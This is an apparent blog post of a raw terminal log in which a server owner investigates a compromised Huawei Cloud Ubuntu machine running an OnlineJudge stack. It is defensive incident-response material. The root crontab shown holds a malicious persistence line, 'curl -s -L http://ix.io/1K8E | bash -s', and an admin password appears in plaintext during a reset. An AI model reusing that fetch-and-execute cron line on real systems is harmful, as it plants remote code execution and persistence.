记一次服务器被黑

Windows PowerShell
版权所有 (C) Microsoft Corporation。保留所有权利。

尝试新的跨平台 PowerShell https://aka.ms/pscore6

PS C:\Users\yangy> ssh [email protected] -p9999
Password:
Password:
PS C:\Users\yangy> ssh [email protected] -p9999
Password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-55-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

 * Kata Containers are now fully integrated in Charmed Kubernetes 1.16!
   Yes, charms take the Krazy out of K8s Kata Kluster Konstruction.

     https://ubuntu.com/kubernetes/docs/release-notes

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

7 packages can be updated.
6 updates are security updates.


*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


        Welcome to Huawei Cloud Service


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Oct 21 11:31:18 2019 from 59.78.171.116

        Welcome to Huawei Cloud Service

Could not chdir to home directory /home/yiweiyang: No such file or directory


$
$
$
$ ls
bin   data  etc   initrd.img      lib    lost+found  mnt  patch  root  sbin  srv  tmp  var      vmlinuz.old
boot  dev   home  initrd.img.old  lib64  media       opt  proc   run   snap  sys  usr  vmlinuz  www
$ docker ps
Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get http://%2F                                                                                                                                                                                                                                                   var%2Frun%2Fdocker.sock/v1.40/containers/json: dial unix /var/run/docker.sock: connect: permission denied
$ su -
Password:
root@gaSRHj203877:~# ls
f2f_migrate_error.log     frp  OnlineJudgeDeploy  package.xml  SISTOJ.git  SMS-Agent.tar.gz
f2f_migrate_schedule.log  nps  package-lock.json  SISTOJ       SMS-Agent   X7QZNkji
root@gaSRHj203877:~# docker ps
CONTAINER ID        IMAGE                                                        COMMAND                  CREATED                                                                                                                                                                                                                                                                STATUS                PORTS                                            NAMES
62658fd3b3c8        registry.cn-hangzhou.aliyuncs.com/onlinejudge/oj_backend     "/bin/sh -c /app/dep…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days (healthy)   0.0.0.0:4981->1443/tcp, 0.0.0.0:4980->8000/tcp   oj-backend
650fa2b219a4        centos                                                       "/bin/bash"              2 months ago                                                                                                                                                                                                                                                           Up 8 days                                                              centos
6ba068b154be        registry.cn-hangzhou.aliyuncs.com/onlinejudge/judge_server   "/bin/sh -c /code/en…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days (healthy)   8080/tcp                                         judge-server
b090c523f1ab        postgres:10-alpine                                           "docker-entrypoint.s…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days             5432/tcp                                         oj-postgres
659d477410e3        redis:4.0-alpine                                             "docker-entrypoint.s…"   2 months ago                                                                                                                                                                                                                                                           Up 8 days             6379/tcp                                         oj-redis
root@gaSRHj203877:~# docker exec -it oj-backend /bin/sh
/app #
/app #
/app # python3 manage.py inituser --username victoryang00 --password victor129 --action=reset
Django VERSION (2, 1, 7, 'final', 0)
User victoryang00 doesnot exist, operation ignored
/app # python3 manage.py inituser --username root --password victor129 --action=reset
Django VERSION (2, 1, 7, 'final', 0)
Password is rested
/app # root@gaSRHj203877:~# htop
root@gaSRHj203877:~# kill 21790
root@gaSRHj203877:~# htop
root@gaSRHj203877:~# htop
root@gaSRHj203877:~# crontab -l
0 * * * * curl -s -L http://ix.io/1K8E | bash -s
root@gaSRHj203877:~# crontab -e
crontab: installing new crontab
root@gaSRHj203877:~# more .bash_history
more: stat of .bash_history failed: No such file or directory
root@gaSRHj203877:~# ll
total 44852
drwx------ 19 root root     4096 Oct 27 15:00 ./
drwxr-xr-x 26 root root     4096 Oct 21 10:42 ../
drwx------  5 root root     4096 Sep 14 14:10 .acme.sh/
-rw-r--r--  1 root root     3137 Sep 14 14:10 .bashrc
drwx------  5 root root     4096 Sep 22 04:28 .cache/
drwxr-xr-x  3 root root     4096 Sep 14 14:29 .cmake/
drwx------  5 root root     4096 Sep 21 23:11 .config/
-rw-r--r--  1 root root      465 Sep 14 03:07 f2f_migrate_error.log
-rw-r--r--  1 root root      435 Sep 13 18:36 f2f_migrate_schedule.log
drwxrwxr-x  3 www  www      4096 Jul 17 04:41 frp/
drwx------  3 root root     4096 Aug  6 18:17 .gnupg/
drwxr-xr-x  3 root root     4096 Sep 21 23:11 .local/
-rw-------  1 root root      428 Sep 22 12:24 .mysql_history
drwxr-xr-x  2 root root     4096 Aug 20 02:19 .nano/
drwxr-xr-x  3 root root     4096 Aug 23 03:25 .node-gyp/
-rw-------  1 root root        0 Sep 22 09:18 .node_repl_history
drwxr-xr-x  5 root root     4096 Aug  6 21:27 .npm/
drwxr-xr-x  4 root root     4096 Aug 13 07:02 nps/
drwxr-xr-x  6 root root     4096 Sep 14 13:43 OnlineJudgeDeploy/
-rw-r--r--  1 root root       27 Aug  6 21:42 package-lock.json
-rw-r--r--  1 www  uucp    35323 Jul 29 23:14 package.xml
-rw-r--r--  1 root root      195 Sep 14 15:32 .pearrc
drwxr-xr-x  2 root root     4096 Sep 14 14:08 .pip/
-rw-r--r--  1 root root      174 Sep 13  2017 .profile
-rw-rw-rw-  1 root root        6 Oct 27 15:00 .pysocks.pid
-rw-------  1 root root       74 Oct 10 13:59 .python_history
-rw-r--r--  1 root root       66 Oct 21 10:11 .selected_editor
drwxr-xr-x 10 root root     4096 Aug 23 04:17 SISTOJ/
-rw-r--r--  1 root root    90584 Aug 23 02:14 SISTOJ.git
drwxr-xr-x  8 root root     4096 Sep 13 18:05 SMS-Agent/
-rw-r--r--  1 root root 45638842 Sep 11 09:28 SMS-Agent.tar.gz
drwx------  2 root root     4096 Oct 21 10:31 .ssh/
-rw-r--r--  1 root root        0 Oct 13 06:28 .sudo_as_admin_successful
-rw-------  1 root root    10100 Oct 21 10:44 .viminfo
drwxr-xr-x  5 root root     4096 Sep 21 21:12 .vscode-server/
-rw-r--r--  1 root root      317 Oct 27 09:00 .wget-hsts
-rwxrwxrwx  1 root root    16940 Oct 27 15:00 X7QZNkji*
root@gaSRHj203877:~# ls |grep bash
root@gaSRHj203877:~# cat .
./                         .gnupg/                    .pearrc                    .sudo_as_admin_successful
../                        .local/                    .pip/                      .viminfo
.acme.sh/                  .mysql_history             .profile                   .vscode-server/
.bashrc                    .nano/                     .pysocks.pid               .wget-hsts
.cache/                    .node-gyp/                 .python_history
.cmake/                    .node_repl_history         .selected_editor
.config/                   .npm/                      .ssh/
root@gaSRHj203877:~# cat .bashrc
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
[ -z "$PS1" ] && return

# don't put duplicate lines in the history. See bash(1) for more options
# ... or force ignoredups and ignorespace
HISTCONTROL=ignoredups:ignorespace

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "$debian_chroot" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
        # We have color support; assume it's compliant with Ecma-48
        # (ISO/IEC-6429). (Lack of such support is extremely rare, and such
        # a case would tend to support setf rather than setaf.)
        color_prompt=yes
    else
        color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
#if [ -f /etc/bash_completion ] && ! shopt -oq posix; then
#    . /etc/bash_completion
#fi
. "/root/.acme.sh/acme.sh.env"
root@gaSRHj203877:~# cd /etc/init
init/            init.d/          initramfs-tools/
root@gaSRHj203877:~# cd /etc/init.d/
root@gaSRHj203877:/etc/init.d# ls
acpid                   cryptdisks         mountall-bootclean.sh  ondemand       redis           ufw
apparmor                cryptdisks-early   mountall.sh            open-iscsi     resolvconf      umountfs
arp-bind                dbus               mountdevsubfs.sh       open-vm-tools  rsync           umountnfs.sh
atd                     docker             mountkernfs.sh         php-fpm-72     rsyslog         umountroot
bootmisc.sh             grub-common        mountnfs-bootclean.sh  plymouth       screen-cleanup  unattended-upgrades                                                                                                                                                                                                                                                       bt                      halt               mountnfs.sh            plymouth-log   sendmail        urandom
checkfs.sh              hostname.sh        mysql                  procps         sendsigs        uuidd
checkroot-bootclean.sh  hwclock.sh         mysqld                 pure-ftpd      single          x11-common
checkroot.sh            irqbalance         networking             rc             skeleton
cloudGuardd             iscsid             nginx                  rc.local       ssh
cloudSafed              keyboard-setup.sh  nscd                   rcS            sysstat
console-setup.sh        killprocs          ntp                    README         thermald
cron                    kmod               ntp.dpkg-old           reboot         udev
root@gaSRHj203877:/etc/init.d# cat d
dbus    docker
root@gaSRHj203877:/etc/init.d# cat d
dbus    docker
root@gaSRHj203877:/etc/init.d# locat

Command 'locat' not found, did you mean:

  command 'socat' from deb socat
  command 'ocat' from deb onioncat
  command 'locate' from deb mlocate
  command 'locate' from deb locate
  command 'lzcat' from deb lzma
  command 'lolcat' from deb lolcat

Try: apt install <deb name>

root@gaSRHj203877:/etc/init.d# locate
locate: no pattern to search for specified
root@gaSRHj203877:/etc/init.d# locate Db
/usr/share/perl5/Debconf/Db.pm
/usr/share/perl5/Debconf/DbDriver
/usr/share/perl5/Debconf/DbDriver.pm
/usr/share/perl5/Debconf/DbDriver/Backup.pm
/usr/share/perl5/Debconf/DbDriver/Cache.pm
/usr/share/perl5/Debconf/DbDriver/Copy.pm
/usr/share/perl5/Debconf/DbDriver/Debug.pm
/usr/share/perl5/Debconf/DbDriver/DirTree.pm
/usr/share/perl5/Debconf/DbDriver/Directory.pm
/usr/share/perl5/Debconf/DbDriver/File.pm
/usr/share/perl5/Debconf/DbDriver/LDAP.pm
/usr/share/perl5/Debconf/DbDriver/PackageDir.pm
/usr/share/perl5/Debconf/DbDriver/Pipe.pm
/usr/share/perl5/Debconf/DbDriver/Stack.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   b.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Backup.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Cache.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Copy.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Debug.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/DirTree.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Directory.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/File.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/LDAP.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/PackageDir.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Pipe.pm
/var/lib/docker/overlay2/51b3a0166a77ff81f6bb030a6a3b0dc660061fc6ba2e86765d6ec69cf38f79c5/diff/usr/share/perl5/Debconf/D                                                                                                                                                                                                                                                   bDriver/Stack.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /Db.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Backup.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Cache.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Copy.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Debug.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/DirTree.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Directory.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/File.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/LDAP.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/PackageDir.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Pipe.pm
/var/lib/docker/overlay2/a8a5ed0de41800754bc201f9e1d52810e116cd279e8fe401ff49c3ea8a8ad6aa/merged/usr/share/perl5/Debconf                                                                                                                                                                                                                                                   /DbDriver/Stack.pm
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbList.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbQbe.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/libraries/DbSearch.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100000.php
/www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100100.php                                                                                                                                                                                                                                                      /www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100200.php                                                                                                                                                                                                                                                      /www/server/phpmyadmin/phpmyadmin_2b69ca73d647eac1/vendor/phpmyadmin/sql-parser/src/Contexts/ContextMariaDb100300.php                                                                                                                                                                                                                                                      /www/wwwroot/openwrt.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/MariaDb1027Platform.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/Keywords/MariaDb102Keywords.php                                                                                                                                                                                                                                                     /www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/DefaultDbNameSolutionProvider.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/IncorrectValetDbCredentialsSolutionPr                                                                                                                                                                                                                                                   ovider.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/Solutions/SuggestUsingCorrectDbNameSolution.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/facade/ignition/src/Solutions/UseDefaultValetDbCredentialsSolution.php                                                                                                                                                                                                                                                        /www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbLock.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbStore.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Queue/Failed/DynamoDbFailedJobProvider.php                                                                                                                                                                                                                                                   /www/wwwroot/openwrt.victoryang00.xyz/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/db-dumper/src/DbDumper.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/db-dumper/src/Databases/MongoDb.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/laravel-backup/src/Exceptions/CannotCreateDbDumper.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/spatie/laravel-backup/src/Tasks/Backup/DbDumperFactory.php
/www/wwwroot/openwrt.victoryang00.xyz/vendor/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php                                                                                                                                                                                                                                                     /www/wwwroot/openwrt.victoryang00.xyz/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MongoDbSessionHandler                                                                                                                                                                                                                                                   Test.php
/www/wwwroot/www.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/MariaDb1027Platform.php
/www/wwwroot/www.victoryang00.xyz/vendor/doctrine/dbal/lib/Doctrine/DBAL/Platforms/Keywords/MariaDb102Keywords.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/DefaultDbNameSolutionProvider.php                                                                                                                                                                                                                                                           /www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/SolutionProviders/IncorrectValetDbCredentialsSolutionProvid                                                                                                                                                                                                                                                   er.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/Solutions/SuggestUsingCorrectDbNameSolution.php
/www/wwwroot/www.victoryang00.xyz/vendor/facade/ignition/src/Solutions/UseDefaultValetDbCredentialsSolution.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbLock.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Cache/DynamoDbStore.php
/www/wwwroot/www.victoryang00.xyz/vendor/laravel/framework/src/Illuminate/Queue/Failed/DynamoDbFailedJobProvider.php
/www/wwwroot/www.victoryang00.xyz/vendor/monolog/monolog/src/Monolog/Handler/DynamoDbHandler.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/db-dumper/src/DbDumper.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/db-dumper/src/Databases/MongoDb.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/laravel-backup/src/Exceptions/CannotCreateDbDumper.php
/www/wwwroot/www.victoryang00.xyz/vendor/spatie/laravel-backup/src/Tasks/Backup/DbDumperFactory.php
/www/wwwroot/www.victoryang00.xyz/vendor/symfony/http-foundation/Session/Storage/Handler/MongoDbSessionHandler.php
/www/wwwroot/www.victoryang00.xyz/vendor/symfony/http-foundation/Tests/Session/Storage/Handler/MongoDbSessionHandlerTest                                                                                                                                                                                                                                                   .php
root@gaSRHj203877:/etc/init.d# locate DbSecurity
root@gaSRHj203877:/etc/init.d# cd ..
root@gaSRHj203877:/etc# ls
acpi                           environment      libnl-3            pam.conf                 sgml
adduser.conf                   fonts            libpaper.d         pam.d                    shadow
aliases                        fstab            lighttpd           papersize                shadow-
alternatives                   fstab.bak        locale.alias       passwd                   shells
apache2                        fuse.conf        locale.gen         passwd-                  skel
apm                            gai.conf         localtime          perl                     s-nail.rc
apparmor                       ghostscript      logcheck           pki                      sos.conf
apparmor.d                     groff            login.defs         pm                       ssh
apt                            group            logrotate.conf     polkit-1                 ssl
at.deny                        group-           logrotate.d        popularity-contest.conf  subgid
bash.bashrc                    grub.d           lsb-release        ppp                      subgid-
bash_completion                gshadow          ltrace.conf        profile                  subuid
bash_completion.d              gshadow-         machine-id         profile.d                subuid-
bindresvport.blacklist         gss              magic              protocols                sudoers
binfmt.d                       hdparm.conf      magic.mime         python                   sudoers.d
bt_lib.lock                    host.conf        mail               python2.7                sysctl.conf
byobu                          hostname         mailcap            python3                  sysctl.conf.dpkg-old                                                                                                                                                                                                                                                           ca-certificates                hosts            mailcap.order      python3.5                sysctl.d
ca-certificates.conf           hosts.allow      manpath.config     python3.6                sysstat
ca-certificates.conf.dpkg-old  hosts.deny       mime.types         rc0.d                    systemd
calendar                       ImageMagick-6    mke2fs.conf        rc1.d                    terminfo
console-setup                  init             modprobe.d         rc2.d                    thermald
containerd                     init.d           modules            rc3.d                    timezone
cron.d                         initramfs-tools  modules-load.d     rc4.d                    tmpfiles.d
cron.daily                     inputrc          motd               rc5.d                    ucf.conf
cron.hourly                    insserv          mtab               rc6.d                    udev
cron.monthly                   insserv.conf     my.cnf             rc.local                 ufw
crontab                        insserv.conf.d   mysql              rcS.d                    updatedb.conf
cron.weekly                    iproute2         nanorc             resolvconf               update-manager
cryptsetup-initramfs           iscsi            netplan            resolv.conf              update-motd.d
crypttab                       issue            network            rmt                      update-notifier
dbus-1                         issue.net        NetworkManager     rpc                      vim
debconf.conf                   kernel           networks           rsyslog.conf             vmware-tools
debian_version                 kernel-img.conf  newt               rsyslog.d                vtrgb
default                        ldap             nscd.conf          screenrc                 wgetrc
deluser.conf                   ld.so.cache      nsswitch.conf      securetty                X11
depmod.d                       ld.so.conf       ntp.conf           security                 xdg
dhcp                           ld.so.conf.d     ntp.conf.dpkg-old  selinux                  xml
docker                         legal            opt                sensors3.conf            zlibc.conf
dpkg                           letsencrypt      os-release         sensors.d                zmap
emacs                          libaudit.conf    overlayroot.conf   services                 zsh_command_not_found                                                                                                                                                                                                                                                          root@gaSRHj203877:/etc# cd r
rc0.d/      rc2.d/      rc4.d/      rc6.d/      resolvconf/
rc1.d/      rc3.d/      rc5.d/      rcS.d/      rsyslog.d/
root@gaSRHj203877:/etc# cd rc1.d/
root@gaSRHj203877:/etc/rc1.d# ld
ld: no input files
root@gaSRHj203877:/etc/rc1.d# ls
K01bt         K01redis     K02docker      K02nscd        K02open-vm-tools  K02thermald  K03iscsid   S02killprocs
K01nginx      K02arp-bind  K02irqbalance  K02ntp         K02php-fpm-72     K02ufw       K05rsyslog  S05single
K01pure-ftpd  K02atd       K02mysql       K02open-iscsi  K02sendmail       K02uuidd     README
root@gaSRHj203877:/etc/rc1.d# firewa;;-cmd --list-ports
-su: syntax error near unexpected token `;;'
root@gaSRHj203877:/etc/rc1.d# firewall-cmd --list-ports

Command 'firewall-cmd' not found, but can be installed with:

apt install firewalld

root@gaSRHj203877:/etc/rc1.d# apt install firewalld
Reading package lists... Done
Building dependency tree
Reading state information... Done
E: Unable to locate package firewalld
root@gaSRHj203877:/etc/rc1.d# ping https://lannis.cn/
ping: https://lannis.cn/: Name or service not known
root@gaSRHj203877:/etc/rc1.d# ping lannis.cn
PING lannis.cn (139.159.232.87) 56(84) bytes of data.
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=1 ttl=54 time=2.45 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=2 ttl=54 time=2.12 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=3 ttl=54 time=2.08 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=4 ttl=54 time=2.04 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=5 ttl=54 time=2.19 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=6 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=7 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=8 ttl=54 time=2.09 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=9 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=10 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=11 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=12 ttl=54 time=2.11 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=13 ttl=54 time=2.13 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=14 ttl=54 time=2.09 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=15 ttl=54 time=2.12 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=16 ttl=54 time=2.15 ms
64 bytes from ecs-139-159-232-87.compute.hwclouds-dns.com (139.159.232.87): icmp_seq=17 ttl=54 time=2.08 ms
^C
--- lannis.cn ping statistics ---
17 packets transmitted, 17 received, 0% packet loss, time 16017ms
rtt min/avg/max/mdev = 2.048/2.138/2.450/0.103 ms
root@gaSRHj203877:/etc/rc1.d# htop
root@gaSRHj203877:/etc/rc1.d# cat /etc/
Display all 206 possibilities? (y or n)
root@gaSRHj203877:/etc/rc1.d# cat /etc/h
hdparm.conf  host.conf    hostname     hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/h
hdparm.conf  host.conf    hostname     hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts
hosts        hosts.allow  hosts.deny
root@gaSRHj203877:/etc/rc1.d# cat /etc/hosts.deny

